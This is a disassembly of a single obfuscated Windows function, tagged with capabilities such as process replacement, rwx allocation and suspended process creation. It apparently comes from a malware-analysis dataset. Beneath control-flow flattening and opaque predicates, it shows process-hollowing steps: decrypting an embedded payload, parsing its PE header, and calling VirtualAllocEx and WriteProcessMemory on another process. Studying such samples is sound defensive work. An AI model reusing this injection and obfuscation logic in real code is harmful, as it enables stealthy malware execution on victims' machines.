Function at 0x100084f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x10074a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0xc4b31eaa
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x80d8a6d0
je 0x10011e58
jmp 0x1000852c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8173ac70
je 0x10014358
jmp 0x10008542
mov eax, dword [ebp - 0x19c]
sub eax, 0x81946d19
je 0x1001273f
jmp 0x10008558
mov eax, dword [ebp - 0x19c]
sub eax, 0x81b3c61b
je 0x10010bc8
jmp 0x1000856e
mov eax, dword [ebp - 0x19c]
sub eax, 0x81d4a245
je 0x10014554
jmp 0x10008584
mov eax, dword [ebp - 0x19c]
sub eax, 0x81edf05c
je 0x1000ed7f
jmp 0x1000859a
mov eax, dword [ebp - 0x19c]
sub eax, 0x82a7f0ac
je 0x10016999
jmp 0x100085b0
mov eax, dword [ebp - 0x19c]
sub eax, 0x83632633
je 0x1000e6a2
jmp 0x100085c6
mov eax, dword [ebp - 0x19c]
sub eax, 0x836f4b6f
je 0x10013291
jmp 0x100085dc
mov eax, dword [ebp - 0x19c]
sub eax, 0x838d0c7b
je 0x100171f7
jmp 0x100085f2
mov eax, dword [ebp - 0x19c]
sub eax, 0x83d3c741
je 0x1000cd61
jmp 0x10008608
mov eax, dword [ebp - 0x19c]
sub eax, 0x83f019fb
je 0x1000d10c
jmp 0x1000861e
mov eax, dword [ebp - 0x19c]
sub eax, 0x841ef281
je 0x10016637
jmp 0x10008634
mov eax, dword [ebp - 0x19c]
sub eax, 0x84c888ab
je 0x10015951
jmp 0x1000864a
mov eax, dword [ebp - 0x19c]
sub eax, 0x852628b0
je 0x10011f97
jmp 0x10008660
mov eax, dword [ebp - 0x19c]
sub eax, 0x855ca0d1
je 0x100129ee
jmp 0x10008676
mov eax, dword [ebp - 0x19c]
sub eax, 0x85879e8d
je 0x10015a3e
jmp 0x1000868c
mov eax, dword [ebp - 0x19c]
sub eax, 0x85df4bd7
je 0x1000dfbc
jmp 0x100086a2
mov eax, dword [ebp - 0x19c]
sub eax, 0x86ce80de
je 0x1000f3fa
jmp 0x100086b8
mov eax, dword [ebp - 0x19c]
sub eax, 0x86db40c9
je 0x10014f7b
jmp 0x100086ce
mov eax, dword [ebp - 0x19c]
sub eax, 0x88f95438
je 0x10014de1
jmp 0x100086e4
mov eax, dword [ebp - 0x19c]
sub eax, 0x89531ccf
je 0x1001714e
jmp 0x100086fa
mov eax, dword [ebp - 0x19c]
sub eax, 0x8977fcda
je 0x1000ca55
jmp 0x10008710
mov eax, dword [ebp - 0x19c]
sub eax, 0x89fb7612
je 0x10012823
jmp 0x10008726
mov eax, dword [ebp - 0x19c]
sub eax, 0x8a30cb54
je 0x10011125
jmp 0x1000873c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8aca6499
je 0x100104a7
jmp 0x10008752
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b284399
je 0x1001375a
jmp 0x10008768
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b6e15e2
je 0x1000d3da
jmp 0x1000877e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b78a37d
je 0x10015862
jmp 0x10008794
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b88ae92
je 0x10013969
jmp 0x100087aa
mov eax, dword [ebp - 0x19c]
sub eax, 0x8c3e2547
je 0x10015bcf
jmp 0x100087c0
mov eax, dword [ebp - 0x19c]
sub eax, 0x8c541e5d
je 0x1000fba1
jmp 0x100087d6
mov eax, dword [ebp - 0x19c]
sub eax, 0x8c883d41
je 0x10010c06
jmp 0x100087ec
mov eax, dword [ebp - 0x19c]
sub eax, 0x8d20f83b
je 0x10013aa5
jmp 0x10008802
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e0c4aef
je 0x10010d1a
jmp 0x10008818
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e177d3c
je 0x1000d732
jmp 0x1000882e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e185301
je 0x100111b4
jmp 0x10008844
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e33ce78
je 0x100111d3
jmp 0x1000885a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e554088
je 0x1001120f
jmp 0x10008870
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e7f27cc
je 0x1001082d
jmp 0x10008886
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ef3b3f5
je 0x1000e0b1
jmp 0x1000889c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8fab9e1c
je 0x10016000
jmp 0x100088b2
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ff4d8f3
je 0x100171ba
jmp 0x100088c8
mov eax, dword [ebp - 0x19c]
sub eax, 0x90994545
je 0x10016b81
jmp 0x100088de
mov eax, dword [ebp - 0x19c]
sub eax, 0x90a9ea34
je 0x10011314
jmp 0x100088f4
mov eax, dword [ebp - 0x19c]
sub eax, 0x90c8f81e
je 0x100115fc
jmp 0x1000890a
mov eax, dword [ebp - 0x19c]
sub eax, 0x90e91d58
je 0x1000da3c
jmp 0x10008920
mov eax, dword [ebp - 0x19c]
sub eax, 0x920b5129
je 0x1001735d
jmp 0x10008936
mov eax, dword [ebp - 0x19c]
sub eax, 0x920eada9
je 0x100162e4
jmp 0x1000894c
mov eax, dword [ebp - 0x19c]
sub eax, 0x926d188e
je 0x10012623
jmp 0x10008962
mov eax, dword [ebp - 0x19c]
sub eax, 0x92a11147
je 0x100107ff
jmp 0x10008978
mov eax, dword [ebp - 0x19c]
sub eax, 0x92ab1020
je 0x10014f0b
jmp 0x1000898e
mov eax, dword [ebp - 0x19c]
sub eax, 0x92c2cf65
je 0x10014e8d
jmp 0x100089a4
mov eax, dword [ebp - 0x19c]
sub eax, 0x92f27e9d
je 0x100132e2
jmp 0x100089ba
mov eax, dword [ebp - 0x19c]
sub eax, 0x931938f7
je 0x1000d9f1
jmp 0x100089d0
mov eax, dword [ebp - 0x19c]
sub eax, 0x93d97e20
je 0x1000f85d
jmp 0x100089e6
mov eax, dword [ebp - 0x19c]
sub eax, 0x93ebb4f0
je 0x1000f64f
jmp 0x100089fc
mov eax, dword [ebp - 0x19c]
sub eax, 0x94286fb1
je 0x1000f2c1
jmp 0x10008a12
mov eax, dword [ebp - 0x19c]
sub eax, 0x94c57d1f
je 0x10013a57
jmp 0x10008a28
mov eax, dword [ebp - 0x19c]
sub eax, 0x94f15ece
je 0x1000e728
jmp 0x10008a3e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9503240a
je 0x10013a48
jmp 0x10008a54
mov eax, dword [ebp - 0x19c]
sub eax, 0x9637d0d4
je 0x1000cc5c
jmp 0x10008a6a
mov eax, dword [ebp - 0x19c]
sub eax, 0x96521cba
je 0x1000f5f2
jmp 0x10008a80
mov eax, dword [ebp - 0x19c]
sub eax, 0x97091d55
je 0x1000dd78
jmp 0x10008a96
mov eax, dword [ebp - 0x19c]
sub eax, 0x979a5bf6
je 0x10011018
mov dl, 1
mov eax, 0xd983fba1
mov ecx, 0x6b5fbc57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
add edx, 0xd9da9aa1
sub edx, 1
sub edx, 0xd9da9aa1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3cdf9551
mov ecx, 0xffa4c18a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x100247d4]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x198], 0xd6396355
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa53344fa
mov ecx, 0xab2c83f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dl, 1
mov eax, 0xfb38f899
mov ecx, 0x9a195ee7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0xb2321709
jmp 0x10017674
mov dword [ebp - 0x198], 0x7a2ea4f6
jmp 0x10017674
movss xmm0, dword [0x10024764]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10024760]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x198], 0xba1199fc
jmp 0x10017674
movss xmm0, dword [0x10024508]
movss dword [ebp - 0x144], xmm0
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b40e398
mov ecx, 0xb8f89c25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x703bba75
mov ecx, 0x392ba17a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dl, 1
mov eax, 0x11a30e10
mov ecx, 0x6f0657f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x100244e0]
movss dword [ebp - 0x148], xmm0
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
add edx, 0x13226b16
sub edx, 1
sub edx, 0x13226b16
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa75e28b4
mov ecx, 0x94f15ece
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0x2f26a1cd
jmp 0x10017674
movss xmm0, dword [0x10024720]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x198], 0xb0200046
jmp 0x10017674
movss xmm0, dword [0x100246ec]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x100246e8]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x198], 0xad37b41b
jmp 0x10017674
movss xmm0, dword [0x100246e0]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x198], 0xd87d148d
jmp 0x10017674
movss xmm0, dword [0x100246c4]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x198], 0x304755a4
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0x5fe4c3c1
sub edx, 1
add edx, 0x5fe4c3c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72d375be
mov ecx, 0xe8efd194
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0x83ff4b3f
sub edx, 1
add edx, 0x83ff4b3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82a7f0ac
mov ecx, 0x5bb24749
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x100244a0]
movss dword [ebp - 0x158], xmm0
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
add edx, 0x7fec0bbb
sub edx, 1
sub edx, 0x7fec0bbb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44ccd5b6
mov ecx, 0x4eca3923
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac24d94e
mov ecx, 0x7f7c6371
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0xe484ac59
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x78fe219f
sub edx, 1
add edx, 0x78fe219f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe145446b
mov ecx, 0xb7f6adfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x10024648]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x198], 0x99e62b6e
jmp 0x10017674
movss xmm0, dword [0x10024640]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x198], 0xf33755df
jmp 0x10017674
movss xmm0, dword [0x1002463c]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x198], 0x7a27c902
jmp 0x10017674
movss xmm0, dword [0x10024450]
movss dword [ebp - 0x164], xmm0
movss xmm0, dword [0x1002444c]
movss dword [ebp - 0x164], xmm0
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
add edx, 0x745ef049
sub edx, 1
sub edx, 0x745ef049
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3657a485
mov ecx, 0x64e17642
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x1002461c]
movss dword [ebp - 0x164], xmm0
mov dword [ebp - 0x198], 0x8e33ce78
jmp 0x10017674
mov dl, 1
mov eax, 0x28ce4a1a
mov ecx, 0x7ec0d077
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x10024614]
movss dword [ebp - 0x164], xmm0
mov dword [ebp - 0x198], 0x28ce4a1a
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0xd7c29a1a
sub edx, 1
add edx, 0xd7c29a1a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a8bb271
mov ecx, 0x275e73ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0x6291bd38
jmp 0x10017674
mov dl, 1
mov eax, 0x852628b0
mov ecx, 0xa0cb152
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0xaf06a830
sub edx, 1
add edx, 0xaf06a830
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a840ff1
mov ecx, 0x66029b24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x3b3289a3
sub edx, 1
add edx, 0x3b3289a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6da57b
mov ecx, 0x3664b180
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b8c037d
mov ecx, 0x35748ca8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dl, 1
mov eax, 0x20ccfdff
mov ecx, 0x1d0f1b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dl, 1
mov eax, 0x6ebd89c0
mov ecx, 0xc9383c51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x9649675f
sub edx, 1
add edx, 0x9649675f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f0bbcb0
mov ecx, 0x92f27e9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dl, 1
mov eax, 0x516e5739
mov ecx, 0x5b27b540
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0xcfb8f26e
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2ccb48c
mov ecx, 0xfbbc150b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov dword [ebp - 0x198], 0x94c57d1f
jmp 0x10017674
mov dword [ebp - 0x198], 0x32fa8309
jmp 0x10017674
mov dl, 1
mov eax, 0xcc9117ca
mov ecx, 0x7d41fef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
movss xmm0, dword [0x100243b0]
movss dword [ebp - 0x178], xmm0
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0xcd840a89
sub edx, 1
add edx, 0xcd840a89
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc944c238
mov ecx, 0x36d28087
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49a00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov ax, word [eax]
mov word [ebp - 0xfc], ax
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
add edx, 0x89a3e26c
sub edx, 1
sub edx, 0x89a3e26c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x838d0c7b
mov ecx, 0xb6a79bf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10007c50
add esp, 4
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x188]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0xdc], eax
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
add edx, 0xf9e4a693
sub edx, 1
sub edx, 0xf9e4a693
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30fc554c
mov ecx, 0x3ec4bfbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov edx, dword [ebp - 0x138]
mov eax, 0x28fe7b49
mov ecx, 0x45e8f23d
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x28fe7b49
jmp 0x10017674
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x138]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x180]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x188]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x188]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x188]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x16182868
jmp 0x10017674
mov dl, byte [ebp - 0x99]
mov eax, 0xba96507f
mov ecx, 0xed41efd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x198], 0x49a1a2d0
jmp 0x10017674
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x198], 0xaada2580
jmp 0x10017674
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x86], al
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0x51b2264c
sub edx, 1
add edx, 0x51b2264c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xce401c5e
mov ecx, 0xa2275e2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0xf45f8204
sub edx, 1
add edx, 0xf45f8204
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa556dede
mov ecx, 0xa8545ad7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10017674
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x68031d00
jmp 0x10017674
movss xmm0, dword [0x10024514]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x198], 0x209d6667
jmp 0x10017674
movss xmm0, dword [0x100244ac]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x198], 0x5bb24749
jmp 0x10017674
movss xmm0, dword [0x10024470]
movss dword [ebp - 0x15c], xmm0
movss xmm0, dword [0x1002446c]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x198], 0x314e504d
jmp 0x10017674
movss xmm0, dword [0x100243bc]
movss dword [ebp - 0x178], xmm0
mov dword [ebp - 0x198], 0x41493648
jmp 0x10017674
mov dword [ebp - 0x198], 0x2eef3cde
jmp 0x10017674
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49a00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x198], 0x81d4a245
jmp 0x10017674
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x198], 0x6f13bfe2
jmp 0x10017674
jmp 0x10008510